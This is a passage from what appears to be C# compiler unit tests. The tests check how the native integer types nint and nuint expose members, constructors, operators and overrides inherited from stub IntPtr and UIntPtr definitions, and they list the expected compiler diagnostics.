public bool Equals(UIntPtr other) => default;
public string ToString(string format) => default;
public string ToString(IFormatProvider provider) => default;
public string ToString(string format, IFormatProvider provider) => default;
}
}";
var comp = CreateEmptyCompilation(sourceA, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"using System;
class Program
{
unsafe static void F1(nint i)
{
_ = i.ToInt32();
_ = i.ToInt64();
_ = i.ToUInt32();
_ = i.ToUInt64();
_ = i.ToPointer();
_ = i.CompareTo(null);
_ = i.CompareTo(i);
_ = i.Equals(i);
_ = i.ToString((string)null);
_ = i.ToString((IFormatProvider)null);
_ = i.ToString((string)null, (IFormatProvider)null);
}
unsafe static void F2(nuint u)
{
_ = u.ToInt32();
_ = u.ToInt64();
_ = u.ToUInt32();
_ = u.ToUInt64();
_ = u.ToPointer();
_ = u.CompareTo(null);
_ = u.CompareTo(u);
_ = u.Equals(u);
_ = u.ToString((string)null);
_ = u.ToString((IFormatProvider)null);
_ = u.ToString((string)null, (IFormatProvider)null);
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (6,15): error CS1061: 'nint' does not contain a definition for 'ToInt32' and no accessible extension method 'ToInt32' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt32").WithArguments("nint", "ToInt32").WithLocation(6, 15),
// (7,15): error CS1061: 'nint' does not contain a definition for 'ToInt64' and no accessible extension method 'ToInt64' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt64").WithArguments("nint", "ToInt64").WithLocation(7, 15),
// (8,15): error CS1061: 'nint' does not contain a definition for 'ToUInt32' and no accessible extension method 'ToUInt32' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToUInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt32").WithArguments("nint", "ToUInt32").WithLocation(8, 15),
// (9,15): error CS1061: 'nint' does not contain a definition for 'ToUInt64' and no accessible extension method 'ToUInt64' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToUInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt64").WithArguments("nint", "ToUInt64").WithLocation(9, 15),
// (10,15): error CS1061: 'nint' does not contain a definition for 'ToPointer' and no accessible extension method 'ToPointer' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.ToPointer();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToPointer").WithArguments("nint", "ToPointer").WithLocation(10, 15),
// (20,15): error CS1061: 'nuint' does not contain a definition for 'ToInt32' and no accessible extension method 'ToInt32' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt32").WithArguments("nuint", "ToInt32").WithLocation(20, 15),
// (21,15): error CS1061: 'nuint' does not contain a definition for 'ToInt64' and no accessible extension method 'ToInt64' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToInt64").WithArguments("nuint", "ToInt64").WithLocation(21, 15),
// (22,15): error CS1061: 'nuint' does not contain a definition for 'ToUInt32' and no accessible extension method 'ToUInt32' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToUInt32();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt32").WithArguments("nuint", "ToUInt32").WithLocation(22, 15),
// (23,15): error CS1061: 'nuint' does not contain a definition for 'ToUInt64' and no accessible extension method 'ToUInt64' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToUInt64();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToUInt64").WithArguments("nuint", "ToUInt64").WithLocation(23, 15),
// (24,15): error CS1061: 'nuint' does not contain a definition for 'ToPointer' and no accessible extension method 'ToPointer' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = u.ToPointer();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "ToPointer").WithArguments("nuint", "ToPointer").WithLocation(24, 15));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.Equals({type} other)",
$"System.Int32 {type}.CompareTo(System.Object other)",
$"System.Int32 {type}.CompareTo({type} other)",
$"System.String {type}.ToString(System.IFormatProvider provider)",
$"System.String {type}.ToString(System.String format)",
$"System.String {type}.ToString(System.String format, System.IFormatProvider provider)",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Instance members ToInt32(), ToInt64(), ToPointer() are explicitly excluded from nint and nuint.
/// Other instance members are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void ConstructorsAndOperators(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public unsafe struct IntPtr
{
public IntPtr(int i) { }
public IntPtr(long l) { }
public IntPtr(void* p) { }
public static explicit operator IntPtr(int i) => default;
public static explicit operator IntPtr(long l) => default;
public static explicit operator IntPtr(void* p) => default;
public static explicit operator int(IntPtr i) => default;
public static explicit operator long(IntPtr i) => default;
public static explicit operator void*(IntPtr i) => default;
public static IntPtr operator+(IntPtr x, int y) => default;
public static IntPtr operator-(IntPtr x, int y) => default;
public static bool operator==(IntPtr x, IntPtr y) => default;
public static bool operator!=(IntPtr x, IntPtr y) => default;
}
public unsafe struct UIntPtr
{
public UIntPtr(uint i) { }
public UIntPtr(ulong l) { }
public UIntPtr(void* p) { }
public static explicit operator UIntPtr(uint i) => default;
public static explicit operator UIntPtr(ulong l) => default;
public static explicit operator UIntPtr(void* p) => default;
public static explicit operator uint(UIntPtr i) => default;
public static explicit operator ulong(UIntPtr i) => default;
public static explicit operator void*(UIntPtr i) => default;
public static UIntPtr operator+(UIntPtr x, int y) => default;
public static UIntPtr operator-(UIntPtr x, int y) => default;
public static bool operator==(UIntPtr x, UIntPtr y) => default;
public static bool operator!=(UIntPtr x, UIntPtr y) => default;
}
}";
var comp = CreateEmptyCompilation(sourceA, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (12,26): warning CS0660: 'IntPtr' defines operator == or operator != but does not override Object.Equals(object o)
// public unsafe struct IntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutEquals, "IntPtr").WithArguments("System.IntPtr").WithLocation(12, 26),
// (12,26): warning CS0661: 'IntPtr' defines operator == or operator != but does not override Object.GetHashCode()
// public unsafe struct IntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutGetHashCode, "IntPtr").WithArguments("System.IntPtr").WithLocation(12, 26),
// (28,26): warning CS0660: 'UIntPtr' defines operator == or operator != but does not override Object.Equals(object o)
// public unsafe struct UIntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutEquals, "UIntPtr").WithArguments("System.UIntPtr").WithLocation(28, 26),
// (28,26): warning CS0661: 'UIntPtr' defines operator == or operator != but does not override Object.GetHashCode()
// public unsafe struct UIntPtr
Diagnostic(ErrorCode.WRN_EqualityOpWithoutGetHashCode, "UIntPtr").WithArguments("System.UIntPtr").WithLocation(28, 26));
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
unsafe static void F1(nint x, nint y)
{
void* p = default;
_ = new nint();
_ = new nint(1);
_ = new nint(2L);
_ = new nint(p);
_ = (nint)1;
_ = (nint)2L;
_ = (nint)p;
_ = (int)x;
_ = (long)x;
_ = (void*)x;
_ = x + 1;
_ = x - 2;
_ = x == y;
_ = x != y;
}
unsafe static void F2(nuint x, nuint y)
{
void* p = default;
_ = new nuint();
_ = new nuint(1);
_ = new nuint(2UL);
_ = new nuint(p);
_ = (nuint)1;
_ = (nuint)2UL;
_ = (nuint)p;
_ = (uint)x;
_ = (ulong)x;
_ = (void*)x;
_ = x + 1;
_ = x - 2;
_ = x == y;
_ = x != y;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9, options: TestOptions.UnsafeReleaseDll);
comp.VerifyDiagnostics(
// (7,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(1);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(7, 17),
// (8,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(2L);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(8, 17),
// (9,17): error CS1729: 'nint' does not contain a constructor that takes 1 arguments
// _ = new nint(p);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nint").WithArguments("nint", "1").WithLocation(9, 17),
// (25,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(1);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(25, 17),
// (26,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(2UL);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(26, 17),
// (27,17): error CS1729: 'nuint' does not contain a constructor that takes 1 arguments
// _ = new nuint(p);
Diagnostic(ErrorCode.ERR_BadCtorArgCount, "nuint").WithArguments("nuint", "1").WithLocation(27, 17));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
/// <summary>
/// Overrides from IntPtr and UIntPtr are implicitly included on nint and nuint.
/// </summary>
[Theory]
[InlineData(false)]
[InlineData(true)]
public void OverriddenMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object
{
public virtual string ToString() => null;
public virtual int GetHashCode() => 0;
public virtual bool Equals(object obj) => false;
}
public class String { }
public abstract class ValueType
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
public struct UIntPtr
{
public override string ToString() => null;
public override int GetHashCode() => 0;
public override bool Equals(object obj) => false;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x, nint y)
{
_ = x.ToString();
_ = x.GetHashCode();
_ = x.Equals(y);
}
static void F2(nuint x, nuint y)
{
_ = x.ToString();
_ = x.GetHashCode();
_ = x.Equals(y);
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.Equals(System.Object obj)",
$"System.Int32 {type}.GetHashCode()",
$"System.String {type}.ToString()",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void ExplicitImplementations_01(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public interface I<T>
{
T P { get; }
T F();
}
public struct IntPtr : I<IntPtr>
{
IntPtr I<IntPtr>.P => this;
IntPtr I<IntPtr>.F() => this;
}
public struct UIntPtr : I<UIntPtr>
{
UIntPtr I<UIntPtr>.P => this;
UIntPtr I<UIntPtr>.F() => this;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"using System;
class Program
{
static T F1<T>(I<T> t)
{
return default;
}
static I<T> F2<T>(I<T> t)
{
return t;
}
static void M1(nint x)
{
var x1 = F1(x);
var x2 = F2(x).P;
_ = x.P;
_ = x.F();
}
static void M2(nuint y)
{
var y1 = F1(y);
var y2 = F2(y).P;
_ = y.P;
_ = y.F();
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (16,15): error CS1061: 'nint' does not contain a definition for 'P' and no accessible extension method 'P' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.P;
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "P").WithArguments("nint", "P").WithLocation(16, 15),
// (17,15): error CS1061: 'nint' does not contain a definition for 'F' and no accessible extension method 'F' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.F();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F").WithArguments("nint", "F").WithLocation(17, 15),
// (23,15): error CS1061: 'nuint' does not contain a definition for 'P' and no accessible extension method 'P' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.P;
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "P").WithArguments("nuint", "P").WithLocation(23, 15),
// (24,15): error CS1061: 'nuint' does not contain a definition for 'F' and no accessible extension method 'F' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.F();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F").WithArguments("nuint", "F").WithLocation(24, 15));
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nuint y1",
"nuint y2",
};
AssertEx.Equal(expectedLocals, actualLocals);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.M1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.M2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void ExplicitImplementations_02()
{
var sourceA =
@"Namespace System
Public Class [Object]
End Class
Public Class [String]
End Class
Public MustInherit Class ValueType
End Class
Public Structure Void
End Structure
Public Structure [Boolean]
End Structure
Public Structure Int32
End Structure
Public Structure Int64
End Structure
Public Structure UInt32
End Structure
Public Structure UInt64
End Structure
Public Interface I(Of T)
ReadOnly Property P As T
Function F() As T
End Interface
Public Structure IntPtr
Implements I(Of IntPtr)
Public ReadOnly Property P As IntPtr Implements I(Of IntPtr).P
Get
Return Nothing
End Get
End Property
Public Function F() As IntPtr Implements I(Of IntPtr).F
Return Nothing
End Function
End Structure
Public Structure UIntPtr
Implements I(Of UIntPtr)
Public ReadOnly Property P As UIntPtr Implements I(Of UIntPtr).P
Get
Return Nothing
End Get
End Property
Public Function F() As UIntPtr Implements I(Of UIntPtr).F
Return Nothing
End Function
End Structure
End Namespace";
var compA = CreateVisualBasicCompilation(sourceA, referencedAssemblies: Array.Empty<MetadataReference>());
compA.VerifyDiagnostics();
var refA = compA.EmitToImageReference();
var sourceB =
@"using System;
class Program
{
static T F1<T>(I<T> t)
{
return default;
}
static I<T> F2<T>(I<T> t)
{
return t;
}
static void M1(nint x)
{
var x1 = F1(x);
var x2 = F2(x).P;
_ = x.P;
_ = x.F();
}
static void M2(nuint y)
{
var y1 = F1(y);
var y2 = F2(y).P;
_ = y.P;
_ = y.F();
}
}";
var compB = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
compB.VerifyDiagnostics();
var tree = compB.SyntaxTrees[0];
var model = compB.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nuint y1",
"nuint y2",
};
AssertEx.Equal(expectedLocals, actualLocals);
verifyType((NamedTypeSymbol)compB.GetMember<MethodSymbol>("Program.M1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)compB.GetMember<MethodSymbol>("Program.M2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
foreach (var member in members)
{
Assert.True(member.GetExplicitInterfaceImplementations().IsEmpty);
}
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type} {type}.F()",
$"{type} {type}.P {{ get; }}",
$"{type} {type}.P.get",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void NonPublicMembers_InternalUse()
{
var source =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
private static IntPtr F1() => default;
internal IntPtr F2() => default;
public static IntPtr F3()
{
nint i = 0;
_ = nint.F1();
_ = i.F2();
return nint.F3();
}
}
public struct UIntPtr
{
private static UIntPtr F1() => default;
internal UIntPtr F2() => default;
public static UIntPtr F3()
{
nuint i = 0;
_ = nuint.F1();
_ = i.F2();
return nuint.F3();
}
}
}";
var comp = CreateEmptyCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (16,22): error CS0117: 'nint' does not contain a definition for 'F1'
// _ = nint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nint", "F1").WithLocation(16, 22),
// (17,19): error CS1061: 'nint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nint", "F2").WithLocation(17, 19),
// (28,23): error CS0117: 'nuint' does not contain a definition for 'F1'
// _ = nuint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nuint", "F1").WithLocation(28, 23),
// (29,19): error CS1061: 'nuint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nuint", "F2").WithLocation(29, 19));
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void NonPublicMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
private static IntPtr F1() => default;
internal IntPtr F2() => default;
public static IntPtr F3() => default;
}
public struct UIntPtr
{
private static UIntPtr F1() => default;
internal UIntPtr F2() => default;
public static UIntPtr F3() => default;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x)
{
_ = nint.F1();
_ = x.F2();
_ = nint.F3();
}
static void F2(nuint y)
{
_ = nuint.F1();
_ = y.F2();
_ = nuint.F3();
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,18): error CS0117: 'nint' does not contain a definition for 'F1'
// _ = nint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nint", "F1").WithLocation(5, 18),
// (6,15): error CS1061: 'nint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nint", "F2").WithLocation(6, 15),
// (11,19): error CS0117: 'nuint' does not contain a definition for 'F1'
// _ = nuint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nuint", "F1").WithLocation(11, 19),
// (12,15): error CS1061: 'nuint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nuint", "F2").WithLocation(12, 15));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type} {type}.F3()",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void OtherMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public struct IntPtr
{
public static T M<T>(T t) => t;
public IntPtr this[int index] => default;
}
public struct UIntPtr
{
public static T M<T>(T t) => t;
public UIntPtr this[int index] => default;
}
public class Attribute { }
}
namespace System.Reflection
{
public class DefaultMemberAttribute : Attribute
{
public DefaultMemberAttribute(string member) { }
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x)
{
_ = x.M<nint>();
_ = x[0];
}
static void F2(nuint y)
{
_ = y.M<nuint>();
_ = y[0];
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,15): error CS1061: 'nint' does not contain a definition for 'M' and no accessible extension method 'M' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.M<nint>();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "M<nint>").WithArguments("nint", "M").WithLocation(5, 15),
// (6,13): error CS0021: Cannot apply indexing with [] to an expression of type 'nint'
// _ = x[0];
Diagnostic(ErrorCode.ERR_BadIndexLHS, "x[0]").WithArguments("nint").WithLocation(6, 13),
// (10,15): error CS1061: 'nuint' does not contain a definition for 'M' and no accessible extension method 'M' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.M<nuint>();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "M<nuint>").WithArguments("nuint", "M").WithLocation(10, 15),
// (11,13): error CS0021: Cannot apply indexing with [] to an expression of type 'nuint'
// _ = y[0];
Diagnostic(ErrorCode.ERR_BadIndexLHS, "y[0]").WithArguments("nuint").WithLocation(11, 13));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
// Custom modifiers are copied to native integer types but not substituted.
[Fact]
public void CustomModifiers()
{
var sourceA =
@".assembly mscorlib
{
.ver 0:0:0:0
}
.class public System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig newslot virtual instance string ToString() cil managed { ldnull throw }
.method public hidebysig newslot virtual instance bool Equals(object obj) cil managed { ldnull throw }
.method public hidebysig newslot virtual instance int32 GetHashCode() cil managed { ldnull throw }
}
.class public abstract System.ValueType extends System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public System.String extends System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Void extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Boolean extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Int32 extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public interface System.IComparable`1<T>
{
}
.class public sealed System.IntPtr extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig static native int modopt(native int) F1() cil managed { ldnull throw }
.method public hidebysig static native int& modopt(native int) F2() cil managed { ldnull throw }
.method public hidebysig static void F3(native int modopt(native int) i) cil managed { ret }
.method public hidebysig static void F4(native int& modopt(native int) i) cil managed { ret }
.method public hidebysig instance class System.IComparable`1<native int modopt(native int)> F5() cil managed { ldnull throw }
.method public hidebysig instance void F6(native int modopt(class System.IComparable`1<native int>) i) cil managed { ret }
.method public hidebysig instance native int modopt(native int) get_P() cil managed { ldnull throw }
.method public hidebysig instance native int& modopt(native int) get_Q() cil managed { ldnull throw }
.method public hidebysig instance void set_P(native int modopt(native int) i) cil managed { ret }
.property instance native int modopt(native int) P()
{
.get instance native int modopt(native int) System.IntPtr::get_P()
.set instance void System.IntPtr::set_P(native int modopt(native int))
}
.property instance native int& modopt(native int) Q()
{
.get instance native int& modopt(native int) System.IntPtr::get_Q()
}
}
.class public sealed System.UIntPtr extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig static native uint modopt(native uint) F1() cil managed { ldnull throw }
.method public hidebysig static native uint& modopt(native uint) F2() cil managed { ldnull throw }
